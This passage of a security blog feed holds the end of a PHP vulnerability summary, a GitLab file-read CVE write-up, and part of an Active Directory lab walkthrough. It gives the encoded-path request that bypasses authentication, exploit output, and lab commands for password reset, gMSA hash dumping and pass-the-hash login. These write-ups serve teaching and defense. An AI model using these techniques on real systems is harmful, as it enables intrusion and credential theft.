initialization.</li><li><strong>Session upload progress:</strong> Multipart upload processing can reach session-related functionality before normal session initialization has completed. This can expose stale session or decoding state left behind by an interrupted earlier operation.</li></ul><p>In the confirmed scenarios, the state-producing operation and the operation that consumes the stale reference can occur in different HTTP requests handled by the same worker.</p><h4>How the failure can lead to RCE</h4><p>The underlying sequence is:</p><ol><li>A request modifies internal state that remains reachable through a persistent reference.</li><li>An unexpected termination prevents the corresponding cleanup or reset from completing.</li><li>PHP releases the request’s memory, leaving the reference stale.</li><li>The same worker processes another request and reaches an operation that consumes that reference.</li><li>Under suitable memory conditions, the use-after-free can be leveraged for remote code execution.</li></ol><p>The distinction between the two vulnerabilities is important. CVE-2026–109618 concerns inconsistent data during the same request’s failure and cleanup path. CVE-2026–109619 concerns a reference that outlives its memory and is consumed later.</p><h4>What the Fix Changes</h4><p>Both vulnerabilities were addressed in the PHP security releases published on October 21, 2026. The corresponding upstream fixes are available in PHP 8.2.35, 8.3.36, 8.4.27, and 8.5.12.</p><p>At a high level, the fixes address unsafe state transitions during bailout and ensure that interrupted operations do not leave internal state in a form that later code incorrectly trusts. The common lesson is that error handling must preserve the same memory-safety invariants as the normal execution path.</p><h3>Conclusion</h3><p>PHP2Shell demonstrates how failures in memory management and exceptional control flow can undermine the security of an entire application stack. Because both vulnerabilities affect PHP core, the exposure extends across multiple frameworks, CMS platforms, and web server configurations.</p><p>The disclosure timeline also highlights the challenges defenders face when exploitation attempts precede public disclosure. Organizations should inventory their PHP runtimes, deploy fixed releases, rebuild affected containers, and investigate potentially exposed systems.</p><blockquote><strong><em>Updating PHP to a fixed version</em></strong><em> is the only complete fix. Updating WordPress, Laravel, or another PHP application alone will not resolve the underlying runtime vulnerabilities.</em></blockquote><h3>References</h3><ol><li><a href="https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w">PHP security advisory — GHSA-w8hw-w9fx-j79w</a></li><li><a href="https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp">PHP security advisory — GHSA-6wmf-4rv5-p3rp</a></li><li><a href="https://php2shell.fyi/technical">PHP2Shell technical analysis</a></li><li><a href="https://aws.amazon.com/blogs/security/amazon-threat-intelligence-identifies-php2shell-exploitation-prior-to-public-disclosure-in-madpot/">AWS Threat Intelligence — Pre-disclosure exploitation observed in MadPot</a></li><li><a href="https://blog.cloudflare.com/php-vulnerabilities-waf-protection/">Cloudflare — WAF protections against PHP2Shell</a></li><li><a href="https://aws.amazon.com/blogs/security/using-aws-waf-to-apply-mitigations-for-php2shell-rce-vulnerabilities-cve-2026-109618-and-cve-2026-109619/">AWS — Applying WAF mitigations for PHP2Shell</a></li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b8d1b07621b3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CVE-2026-85706: Deep Dive into GitLab’s Critical File Read Vulnerability]]></title>
            <link>https://medium.com/@bericontraster/cve-2026-85706-deep-dive-into-gitlabs-critical-file-read-vulnerability-4f1d52e03626?source=rss-b965b4bc0386------2</link>
            <guid isPermaLink="false">https://medium.com/p/4f1d52e03626</guid>
            <category><![CDATA[cve]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[gitlab]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[vulnerability]]></category>
            <dc:creator><![CDATA[Beri Contraster]]></dc:creator>
            <pubDate>Fri, 02 Oct 2026 13:09:51 GMT</pubDate>
            <atom:updated>2026-10-02T13:09:51.095Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HQkOkzAIUSaq7-1Ot4fC8Q.png" /><figcaption>CVE-2026-85706</figcaption></figure><h3>Overview</h3><p><a href="https://nvd.nist.gov/vuln/detail/cve-2026-85706"><strong>CVE-2026–85706</strong></a> is a critical unauthenticated arbitrary file read vulnerability affecting <strong>GitLab Community Edition (CE) and Enterprise Edition (EE)</strong>. The vulnerability affects the repository commits API and allows an attacker to influence the file path processed by GitLab, causing the application to read files from the underlying server without requiring valid credentials.</p><p>The vulnerability is especially significant because files accessible to the GitLab process may contain sensitive application configuration, credentials, tokens, or other secrets that could provide an attacker with access to additional systems. Rated <strong>CVSS 10.0 (Critical)</strong> and listed in the <strong>CISA Known Exploited Vulnerabilities (KEV) Catalog</strong>, CVE-2026–85706 represents a serious risk to exposed GitLab installations.</p><p>The underlying exploit relies on a request-processing discrepancy between <strong>GitLab Workhorse and the Rails application</strong>, which allows the attacker to reach the vulnerable file-processing logic before authentication is enforced.</p><h3>Technical Breakdown</h3><p>To understand how this vulnerability works, let’s understand how GitLab handles requests.</p><h4>GitLab Requests</h4><p>GitLab uses multiple components to process incoming HTTP requests, and one of them is GitLab Workhorse. GitLab Workhorse is a reverse proxy sitting in front of GitLab’s application, and therefore it’s parsing every request before passing it to the Rails Application.</p><blockquote><a href="https://about.gitlab.com/blog/why-we-use-rails-to-build-gitlab/">GitLab is primarily built using Ruby on Rails</a>, an open-source web development framework written in Ruby. When documentation or administrators refer to the “Rails application” in GitLab, they are talking about the main engine that handles user authentication, business logic, the web interface (UI), APIs, and orchestration of other background services.</blockquote><p>For this particular endpoint, GitLab expects requests to look like this:</p><pre>POST /api/v4/projects/:id/repository/commits</pre><h4>Workhorse &amp; Rails Application</h4><p>The problem is that Workhorse and the Rails application interpret the request differently. When a request for the commit API reaches GitLab, Workhorse examines it before sending it to Rails.</p><p>Workhorse also happens to handle uploaded files and prepares information that Rails will use later, and that includes the file path. Workhorse is responsible for filtering and controlling the values, which includes the file path as well.</p><figure><img alt="figure showing workhorse file handlings" src="https://cdn-images-1.medium.com/max/1024/1*17dTKKqczySq0p9cv3j4Wg.png" /><figcaption>Workhorse File Handling</figcaption></figure><p>There is authentication in place before the commit happens, but there is a problem: the file handling code processes the files before GitLab performs its normal authentication check, so part of the file processing logic is already reached before GitLab gets to do the authentication check.</p><h4>The Vulnerable Code</h4><p>If the attacker sends %63ommits instead of commits, Workhorse, who’s responsible for managing and controlling the incoming values, fails to recognize the endpoint since it’s not decoding the URL-encoded c → %63 and the interesting part is that after Workhorse forwards the request to Rails, it decodes the values and %63ommits becomes commits. Rails therefore still recognizes the request as the intended commit endpoint.</p><pre>POST /api/v4/projects/:id/repository/%63ommits</pre><p>This allows the attacker to control the file path value. Instead of GitLab determining which file should be processed, the vulnerable helper can end up receiving a path supplied by the attacker.</p><blockquote>Note that no authentication happens since the attack takes place before authentication.</blockquote><h4>Reading Files</h4><p>At this point, we already have an internal file read, but it is not really useful unless we can get the contents back. This is where the Content-Type: application/x-www-form-urlencoded header becomes important. With this content type, GitLab processes the data as URL-encoded form data, meaning sequences such as %2F are interpreted as encoded characters.</p><blockquote>The attack also requires the GitLab instance to have <strong>at least one public project</strong>.</blockquote><figure><img alt="Burp Suite repeater sending a request to read file from the GitLab server — CVE-2026–85706." src="https://cdn-images-1.medium.com/max/626/1*NQg0Uz75ddYJfGkVNOKhHg.png" /><figcaption>Arbitrary File Read</figcaption></figure><p>In the request above, %2F is used in file.path because %2F decodes to /. This means that file.path=%2Fflag.txt is ultimately interpreted by the application as file.path=/flag.txt, causing GitLab to read that file from the server. The contents of the file are then passed through the same form-data parsing logic. If the parser encounters an invalid percent-encoding sequence, such as a standalone %, while processing those contents, it raises an error containing the data it was processing. That error is returned as the 400 Bad Request response, giving the attacker a way to retrieve the contents of the file that was read internally.</p><h3>Exploitation — CVE-2026–85706</h3><p>Let’s perform the attack ourselves. Set up the Docker container with the vulnerable version, created by <a href="https://github.com/EQSTLab">EQSTLab</a>.</p><pre># Clone the repository<br>git clone https://github.com/EQSTLab/CVE-2026-85706.git &amp;&amp; cd CVE-2026-85706<br><br># Build the docker<br>docker build -t cve-2026-85706 .<br><br># Start the docker<br>docker run -d --name cve-2026-85706 --shm-size 256m -p 8088:80 cve-2026-85706<br><br># Wait until the seeder reports it is read ([seed] SEED_DONE)<br>docker exec -it cve-2026-85706 tail -f /var/log/seed.log</pre><p>Once it’s up, fire up your Burp Suite as well. The exploit written in Python gitlab_exploit.py reads a file off the server with a single <strong>unauthenticated</strong> request, using the %63ommits Workhorse route bypass and the urlencoded re-parse error channel.</p><p>Let’s run the exploit and look at the request in Burp Suite. We’ll proxy our request through Burp Suite.</p><pre>$ export http_proxy=&quot;http://127.0.0.1:8080&quot;               <br>$ python3 exploit.py 172.17.0.2 </pre><figure><img alt="Burp Suite proxy intercepting requests" src="https://cdn-images-1.medium.com/max/1024/1*zK9jVvDU3o0Lh2_lKCaoiQ.png" /><figcaption>Interecepting Request</figcaption></figure><p>I’ll send this request to Repeater before forwarding it.</p><pre>$ python3 exploit.py 172.17.0.2 <br>[*] target   http://172.17.0.2<br>[*] endpoint /api/v4/projects/1/repository/%63ommits<br>[*] file.path /flag.txt<br>[+] arbitrary file read OK -&gt; content of /flag.txt:<br>    EQST{gitlab_cve_2026_85706_arbitrary_file_read}%<br>[+] FLAG: EQST{gitlab_cve_2026_85706_arbitrary_file_read}</pre><p>The exploit successfully fetches the flag. Because the file contains a %, it triggers an error, and the file contents are returned in the error response.</p><figure><img alt="Using Burp Suite repeater to read files" src="https://cdn-images-1.medium.com/max/1024/1*NSSQUxGFqsYfDR4jssgdWQ.png" /><figcaption>Reading flag.txt file</figcaption></figure><p>Let’s view the file inside the Docker container.</p><pre>$ docker exec -it 091e47cbc7a6 /bin/bash                  <br>root@091e47cbc7a6:/# cat flag.txt<br>EQST{gitlab_cve_2026_85706_arbitrary_file_read}%</pre><p>Now, let’s remove the % from the file and replace it with %2F. Since %2F is a valid percent-encoded value that decodes to /, the parser processes it successfully. As a result, no parsing error will be triggered, and instead of receiving the file contents in a 400 response, we will receive a 401 Unauthorized response.</p><pre>root@091e47cbc7a6:/# echo &quot;NEW FLAG %2F HERE&quot; &gt;&gt; readme.txt</pre><figure><img alt="Burp Suite 401 error revealing file exists" src="https://cdn-images-1.medium.com/max/1024/1*F8lcLsytJHOiMPi2mIl3SQ.png" /><figcaption>Unauthorized Error</figcaption></figure><p>We received a 401 Unauthorized response, confirming that the file exists. If the file did not exist, we would instead receive 400 Bad Request — local file not present.</p><figure><img alt="File not found error in Burp Suite repeater" src="https://cdn-images-1.medium.com/max/1024/1*MtdxCgDJqTDCtNItWGmxXQ.png" /><figcaption>400 Bad request — local file not present</figcaption></figure><h3>Affected Versions</h3><p>CVE-2026–85706 affects multiple <strong>GitLab CE/EE 18.x and 19.x releases</strong>.</p><ul><li>Vulnerable versions: GitLab CE/EE <strong>18.7–19.1.7, 19.2.0–19.2.5, 19.3.0–19.3.1</strong></li><li>Patched: <strong>19.1.8 / 19.2.6 / 19.3.2</strong> or later (2026–09–10)</li></ul><p>GitLab released the security fixes on <strong>September 10, 2026</strong>. Administrators running an affected version should upgrade to the corresponding patched release or a later version.</p><h3>Mitigation</h3><p>To mitigate <strong>CVE-2026–85706</strong>, administrators should perform the following steps:</p><ol><li>Update self-managed GitLab immediately to the latest patched GitLab version 19.1.8, 19.2.6, or 19.3.2 or later.</li><li>If an immediate upgrade cannot be performed, restrict access to the GitLab instance to trusted networks or authorized users where possible. This should be treated as a temporary measure until the instance can be upgraded.</li><li>Review GitLab, Workhorse, reverse-proxy, and web server logs for suspicious requests targeting the affected commit API endpoint. Pay particular attention to unusual URL-encoded paths and unexpected file.path parameters.</li><li>If exploitation is suspected, investigate whether sensitive files or application configuration data may have been accessed. Rotate potentially exposed credentials, tokens, or secrets as appropriate.</li><li>After upgrading, confirm that the GitLab instance is running a patched version and that the vulnerable behavior is no longer present.</li></ol><h3>Detection</h3><p>Organizations can detect potential exploitation of <strong>CVE-2026–85706</strong> by reviewing GitLab and reverse-proxy logs for requests exhibiting the following characteristics:</p><ol><li>Search access logs for requests targeting: POST /api/v4/projects/:id/repository/commits</li><li>Identify requests where part of the commits path is URL-encoded, particularly requests containing patterns such as: %63ommits</li><li>Review requests to the affected endpoint for a file.path parameter containing an absolute filesystem path or other unexpected file locations.</li><li>Look for unusual sequences of <strong>400 Bad Request</strong> and <strong>401 Unauthorized</strong> responses associated with requests to the affected endpoint. A 400 response containing parsing-related errors may indicate an attempt to trigger the vulnerable file-processing behavior.</li><li>If suspicious requests are identified, correlate them with GitLab, Workhorse, and operating-system logs to determine whether the GitLab process accessed unexpected files during the same timeframe.</li><li>Pay particular attention to requests originating from unauthenticated clients, especially when combined with the indicators described above.</li></ol><blockquote><strong>Note:</strong> Log-based detection may not reliably identify every exploitation attempt, particularly if logging is incomplete or the attacker modifies the request format. Organizations should prioritize upgrading affected GitLab instances rather than relying solely on detection controls.</blockquote><h3>Summary</h3><p><strong>CVE-2026–85706</strong> is a critical unauthenticated arbitrary file read vulnerability in GitLab CE/EE. It results from a difference in how <strong>GitLab Workhorse and the Rails application process encoded requests</strong>, combined with file processing occurring before authentication.</p><p>With a <strong>CVSS score of 10.0</strong> and inclusion in the <strong>CISA KEV Catalog</strong>, affected GitLab instances should be treated as a high-priority remediation target. Administrators should upgrade to a patched version and review logs for signs of potential exploitation.</p><h4>References</h4><ul><li><a href="https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-3-2-released/">GitLab Critical Patch Release: 19.3.2, 19.2.6, 19.1.8</a></li><li><a href="https://nvd.nist.gov/vuln/detail/cve-2026-85706">NVD CVE-2026–85706 Detail</a></li><li><a href="https://www.rapid7.com/blog/post/etr-cve-2026-85706-critical-gitlab-path-traversal-exploited-in-the-wild/">CVE-2026–85706: Critical GitLab Path Traversal Exploited in the Wild</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4f1d52e03626" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Pre-Win2k to Domain Admin: A Five-Step Active Directory Kill Chain — Cascading Trust]]></title>
            <link>https://medium.com/@bericontraster/pre-win2k-to-domain-admin-a-five-step-active-directory-kill-chain-cascading-trust-8cd1cdbcba59?source=rss-b965b4bc0386------2</link>
            <guid isPermaLink="false">https://medium.com/p/8cd1cdbcba59</guid>
            <category><![CDATA[red-teaming]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Beri Contraster]]></dc:creator>
            <pubDate>Mon, 21 Sep 2026 14:30:19 GMT</pubDate>
            <atom:updated>2026-09-21T14:30:19.832Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0PlT_fnYLXfatbPkXPqFfA.png" /><figcaption>Cascading Trust — Cover Image</figcaption></figure><p>I’ll be using my newly released machine, <a href="https://bericontraster.com/blacksite/#cascading-trust"><strong>Cascading Trust</strong></a>, on <a href="https://bericontraster.com/blacksite/"><strong>Blacksite</strong></a><strong> </strong>to demonstrate this attack chain. The machine is free and available to download.</p><h3>Machine Overview</h3><p>Cascading Trust is a Medium-difficulty Windows machine built around an Active Directory chain where five individually minor misconfigurations link together into full domain compromise. Starting from assumed-breach credentials, initial enumeration uncovers a computer account belonging to Pre-Windows 2000 Compatible Access, a group whose predictable password scheme yields a shell on that machine. That computer account is also authorized to read the password of a gMSA, and the resulting gMSA account is a member of a group permitted to connect over WinRM.</p><p>The WinRM session leaks an AutoLogon-stored plaintext password, which turns out to be reused by a separate domain user. That user holds GenericWrite over DC01, enabling Resource-Based Constrained Delegation to be configured against the Domain Controller and, from there, a ticket forged for Administrator completes the path to Domain Admin.</p><h3>Initial Access</h3><p>It’s an authorized assessment, so our initial credentials given by the client are ethan.mercer:E7han!Ops#Mercury26.</p><h3>Enumeration</h3><h4>Nmap Scan</h4><p>Even though we have initial credentials already provided, we will still run an Nmap scan to find more information about the target. To discover the target on a subnet, which in our case is 10.10.10.0/24, use nmap -sn &lt;subnet&gt;/24.</p><pre>$ nmap 10.10.10.3 -sCV -oN Documents/Cascade/cascading<br>Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-19 21:28 +0500<br>Nmap scan report for cascadetrust.local (10.10.10.3)<br>Host is up (0.00034s latency).<br>Not shown: 987 closed tcp ports (reset)<br>PORT     STATE SERVICE       VERSION<br>53/tcp   open  domain        Simple DNS Plus<br>88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-09-19 23:29:23Z)<br>135/tcp  open  msrpc         Microsoft Windows RPC<br>139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn<br>389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: cascadetrust.local, Site: Default-First-Site-Name)<br>|_ssl-date: 2026-09-19T23:30:11+00:00; +6h59m59s from scanner time.<br>| ssl-cert: Subject: commonName=DC01.cascadetrust.local<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:DC01.cascadetrust.local<br>| Not valid before: 2026-09-16T22:11:07<br>|_Not valid after:  2027-09-16T22:11:07<br>445/tcp  open  microsoft-ds?<br>464/tcp  open  kpasswd5?<br>593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: cascadetrust.local, Site: Default-First-Site-Name)<br>|_ssl-date: 2026-09-19T23:30:11+00:00; +6h59m59s from scanner time.<br>| ssl-cert: Subject: commonName=DC01.cascadetrust.local<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:DC01.cascadetrust.local<br>| Not valid before: 2026-09-16T22:11:07<br>|_Not valid after:  2027-09-16T22:11:07<br>3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: cascadetrust.local, Site: Default-First-Site-Name)<br>|_ssl-date: 2026-09-19T23:30:11+00:00; +6h59m59s from scanner time.<br>| ssl-cert: Subject: commonName=DC01.cascadetrust.local<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:DC01.cascadetrust.local<br>| Not valid before: 2026-09-16T22:11:07<br>|_Not valid after:  2027-09-16T22:11:07<br>3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: cascadetrust.local, Site: Default-First-Site-Name)<br>| ssl-cert: Subject: commonName=DC01.cascadetrust.local<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:DC01.cascadetrust.local<br>| Not valid before: 2026-09-16T22:11:07<br>|_Not valid after:  2027-09-16T22:11:07<br>|_ssl-date: 2026-09-19T23:30:11+00:00; +6h59m59s from scanner time.<br>5357/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>|_http-title: Service Unavailable<br>5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>|_http-title: Not Found<br>MAC Address: 08:00:27:42:6D:A6 (Oracle VirtualBox virtual NIC)<br>Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows</pre><p>The domain name is cascadetrust.local with various other running services like LDAP, Kerberos, and SMB, which confirm that it’s a domain controller.</p><p>We’ll add the domain and target machine to /etc/hosts so their hostnames resolve to the correct IP address.</p><pre>sudo echo &quot;10.10.10.3 cascadetrust.local dc01.cascadetrust.local&quot; &gt;&gt; /etc/hosts</pre><h4>BloodHound Python Script</h4><p>In an authorized engagement, we’ll start by gathering information about the Active Directory environment via the provided credentials to discover valuable users and find paths to get to a higher-privilege user.</p><p>First, we will verify our credentials with <a href="https://github.com/Pennyw0rth/NetExec"><strong>NetExec</strong></a>.</p><pre>$ nxc ldap cascadetrust.local  -u &#39;ethan.mercer&#39; -p &#39;E7han!Ops#Mercury26&#39; <br>LDAP        10.10.10.3      389    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:cascadetrust.local) (signing:None) (channel binding:Never) <br>LDAP        10.10.10.3      389    DC01             [+] cascadetrust.local\ethan.mercer:E7han!Ops#Mercury26</pre><p>Our credentials are working, we can now use the BloodHound Python script to scan the target domain.</p><blockquote><a href="https://github.com/dirkjanm/bloodhound.py"><strong>BloodHound.py</strong></a> is a Python based ingestor for <a href="https://github.com/BloodHoundAD/BloodHound">BloodHound</a>, based on <a href="https://github.com/CoreSecurity/impacket/">Impacket</a>.</blockquote><pre>$ bloodhound-python -u &quot;ethan.mercer&quot; -p &#39;E7han!Ops#Mercury26&#39; -d cascadetrust.local -c all --zip -ns 10.10.10.3<br>INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)<br>INFO: Found AD domain: cascadetrust.local<br>INFO: Getting TGT for user<br>WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)<br>INFO: Connecting to LDAP server: dc01.cascadetrust.local<br>INFO: Found 1 domains<br>INFO: Found 1 domains in the forest<br>INFO: Found 3 computers<br>INFO: Connecting to LDAP server: dc01.cascadetrust.local<br>INFO: Found 11 users<br>INFO: Found 55 groups<br>INFO: Found 2 gpos<br>INFO: Found 2 ous<br>INFO: Found 19 containers<br>INFO: Found 0 trusts<br>INFO: Starting computer enumeration with 10 workers<br>INFO: Querying computer: <br>INFO: Querying computer: <br>INFO: Querying computer: DC01.cascadetrust.local<br>INFO: Done in 00M 01S<br>INFO: Compressing output into 20260919214134_bloodhound.zip</pre><p>Once the scan is complete, start BloodHound and upload the .zip file to BloodHound.</p><h3>Enumerating the Attack Path</h3><p>Our initial user is not a part of any special group or has no interesting privileges over any object. There are no ARS-REP-able or Kerberoastable users either.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ye0Rc_swIrqI8ovfy9ouLg.png" /><figcaption>Ethan Groups</figcaption></figure><p>In this case, I’d like to look at the shortest path to the Domain Admin query result in BloodHound.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/917/1*aOxc_9LMZgntll_EGWrEJg.png" /><figcaption>Shortes Path to Domain Admins</figcaption></figure><p><strong>Nathan</strong> has GenericWrite over <strong>DC01</strong>, but there is no direct path that leads to owning Nathan. The group <strong>Account Operators</strong> has no members, so there’s no way to own that Group either.</p><p>In this scenario, I’ll enumerate more until I see a path that can lead to any higher level of permissions or access to other services. This <a href="https://hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html">Active Directory Methodology</a> from HackTricks is a very good source.</p><h4>Pre-Windows 2000 Compatible Access</h4><p>While enumerating <strong>Pre-Windows 2000 Compatible Access</strong>. I found an interesting pathway. There are four members of this group.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*D8r88fcd9NAsHR3m8IhzCw.png" /><figcaption>Pre-Windows 2000 Compatible Access Group Members</figcaption></figure><p><strong>MS01 </strong>is a member of the <strong>Cascade-InfraOps</strong> group, which has ReadGMSAPassword permission over two gMSAs, one of which, <strong>gMSA_INFRA$</strong>, is a member of Remote Management Users.</p><blockquote>gMSA is a special domain account that lets Windows manage passwords automatically for services running on one or more servers.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FiANWi-Ennxno6cNTP5XRA.png" /><figcaption>ReadGMSAPassword Permission</figcaption></figure><p>If we can get the password of <strong>gMSA_INFRA$</strong>, we can get a shell on DC01, and it may lead to higher privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lRywaVLDZdpFKn5IBrhSZA.png" /><figcaption>gMSA_INFRA$ member of Remote Management Users</figcaption></figure><h3>Privilege Escalation: Ethan → gMSA_INFRA$</h3><p>Computer accounts staged for legacy joins can retain a predictable initial password, and <strong>MS01</strong> is one of them. We can verify it using the <strong>pre2k</strong> module from NetExec.</p><pre>$ nxc ldap cascadetrust.local -u &#39;ethan.mercer&#39; -p &#39;E7han!Ops#Mercury26&#39; -M pre2k<br>LDAP        10.10.10.3      389    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:cascadetrust.local) (signing:None) (channel binding:Never) <br>LDAP        10.10.10.3      389    DC01             [+] cascadetrust.local\ethan.mercer:E7han!Ops#Mercury26 <br>PRE2K       10.10.10.3      389    DC01             Pre-created computer account: MS01$<br>PRE2K       10.10.10.3      389    DC01             Pre-created computer account: FS01$<br>PRE2K       10.10.10.3      389    DC01             [+] Found 2 pre-created computer accounts. Saved to /root/.nxc/modules/pre2k/cascadetrust.local/precreated_computers.txt<br>PRE2K       10.10.10.3      389    DC01             [+] Successfully obtained TGT for ms01@cascadetrust.local<br>PRE2K       10.10.10.3      389    DC01             [+] Successfully obtained TGT for fs01@cascadetrust.local<br>PRE2K       10.10.10.3      389    DC01             [+] Successfully obtained TGT for 2 pre-created computer accounts. Saved to /root/.nxc/modules/pre2k/ccache</pre><blockquote>In case of <strong>clow-too-skew</strong> error use sudo timedatectl set-ntp off followed by sudo rdate -n $DC-IP</blockquote><p>The predictable password is the lowercase name of the computer without the trailing $. We can use another NetExec command to verify this.</p><pre>$ nxc smb cascadetrust.local -u &#39;ms01$&#39; -p &#39;ms01&#39;<br>SMB         10.10.10.3      445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:cascadetrust.local) (signing:True) (SMBv1:None) (Null Auth:True)<br>SMB         10.10.10.3      445    DC01             [-] cascadetrust.local\ms01$:ms01 STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT</pre><p>We received the STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT error, which is different from the STATUS_LOGON_FAILURE error returned for an incorrect password. This indicates that the computer account exists in Active Directory but has not yet been used by a machine to establish a domain trust.</p><p>In this state, the account’s password is considered expired, but we can still change it without an authenticated session using the SAMR protocol. We can use <a href="https://github.com/fortra/impacket/blob/master/examples/changepasswd.py">changepasswd</a>, a Python script from <a href="https://github.com/fortra/impacket">Impacket</a>, with the rpc-samr option to change the password through the SAMR interface.</p><pre>$ impacket-changepasswd -p rpc-samr cascadetrust.local/&#39;MS01$&#39;:ms01@10.10.10.3 -newpass &#39;P@ssword123!&#39;<br>Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies <br><br>[*] Changing the password of cascadetrust.local\MS01$<br>[*] Connecting to DCE/RPC as cascadetrust.local\MS01$<br>[*] Password was changed successfully.</pre><p>Now we can verify our new password using NetExec.</p><pre>$ nxc smb cascadetrust.local -u &#39;ms01$&#39; -p &#39;P@ssword123!&#39;<br>SMB         10.10.10.3      445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:cascadetrust.local) (signing:True) (SMBv1:None) (Null Auth:True)<br>SMB         10.10.10.3      445    DC01             [+] cascadetrust.local\ms01$:P@ssword123!</pre><h4>ReadGMSAPassword — gMSA_INFRA$</h4><p>We now control the <strong>MS01$</strong> computer account. MS01$ is a member of the <strong>Cascade-InfraOps</strong> group, which has permission to read the managed passwords of both gMSA_INFRA$ and gMSA_MAINT$.</p><p>With this access, we can retrieve the NTLM hashes of both gMSA accounts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FiANWi-Ennxno6cNTP5XRA.png" /><figcaption>ReadGMSAPassword</figcaption></figure><p>We can use <a href="https://github.com/micahvandeusen/gMSADumper">gMSADumper</a> Python script to dump the hashes/passwords.</p><blockquote>gMSADumper Lists who can read any gMSA password blobs and parses them if the current user has access.</blockquote><pre>$ gMSADumper -u &#39;MS01$&#39; -p &#39;P@ssword123!&#39; -d cascadetrust.local<br>Users or groups who can read password for gMSA_INFRA$:<br> &gt; DC01$<br> &gt; Cascade-InfraOps<br>gMSA_INFRA$:::2b6e1a8ab9049fe58f16e61b6ddf6c1a<br>gMSA_INFRA$:aes256-cts-hmac-sha1-96:bae1765c36b81ac8ba740545ed7a43ba89f2f6b89a98dd3d4115719204140f30<br>gMSA_INFRA$:aes128-cts-hmac-sha1-96:d1819df506bf0dcfcb6abbc64b3cd0fd<br>Users or groups who can read password for gMSA_MAINT$:<br> &gt; Cascade-InfraOps<br>gMSA_MAINT$:::86af1f03444b4cc0b76aec67b097609e<br>gMSA_MAINT$:aes256-cts-hmac-sha1-96:ee81ab95d210f0513a8a7bf32e14092380cdb1998b641b3c79b8f6d2ad45ec62<br>gMSA_MAINT$:aes128-cts-hmac-sha1-96:6560d100d076e73d0c5cd5b2ee7f827e</pre><p>We successfully fetched hahses of both gMSA users. Now we will try <strong>gMSA_INFRA$</strong> NTLM hash to authenticate on <strong>DC01$</strong> with evil-winrm.</p><pre>$ evil-winrm -i cascadetrust.local -u &#39;gMSA_INFRA$&#39; -H 2b6e1a8ab9049fe58f16e61b6ddf6c1a<br>                                        <br>&lt; ... SNIP ... &gt;<br><br>*Evil-WinRM* PS C:\Users\gMSA_INFRA$\Documents&gt; whoami<br>cascade\gmsa_infra$</pre><h3>Privilege Escalation: gMSA_INFRA$ → nathan.cole</h3><p>After gaining access to <strong>DC01$</strong>, my first instinct was to look for any special permissions or privileges associated with the account. However, it did not have any notable privileges.</p><p>While enumerating the user home directories, I came across an old credentials file named Infrastructure-Migration-Notes.txt on the Desktop of gMSA_INFRA$, located at: C:\Users\gMSA_INFRA$\Desktop.</p><pre>*Evil-WinRM* PS C:\Users\gMSA_INFRA$\Documents&gt; cd ../Desktop                                                                         <br>*Evil-WinRM* PS C:\Users\gMSA_INFRA$\Desktop&gt; more Infrastructure-Migration-Notes.txt<br>Cascade Systems<br>Legacy File Migration<br>=====================<br><br>Migration contact:<br>Aaron Brooks<br>Helpdesk / Infrastructure Support<br><br>Legacy file migration 